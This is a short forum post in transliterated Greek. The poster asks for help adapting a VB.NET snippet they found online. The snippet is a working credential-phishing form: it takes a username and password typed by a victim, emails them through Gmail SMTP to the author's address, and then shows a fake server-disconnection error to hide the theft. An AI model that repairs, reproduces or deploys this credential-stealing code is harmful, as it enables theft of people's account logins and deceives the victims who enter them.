o kodikas den einai dikos mou ton eixa vrei apo ena typo sta net p ekane kati tetia programatakia
dld na diagrapsw afto to komati to lan8asmeno kai na valw afto p m evales?
dld na einai kapws etsi?
If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")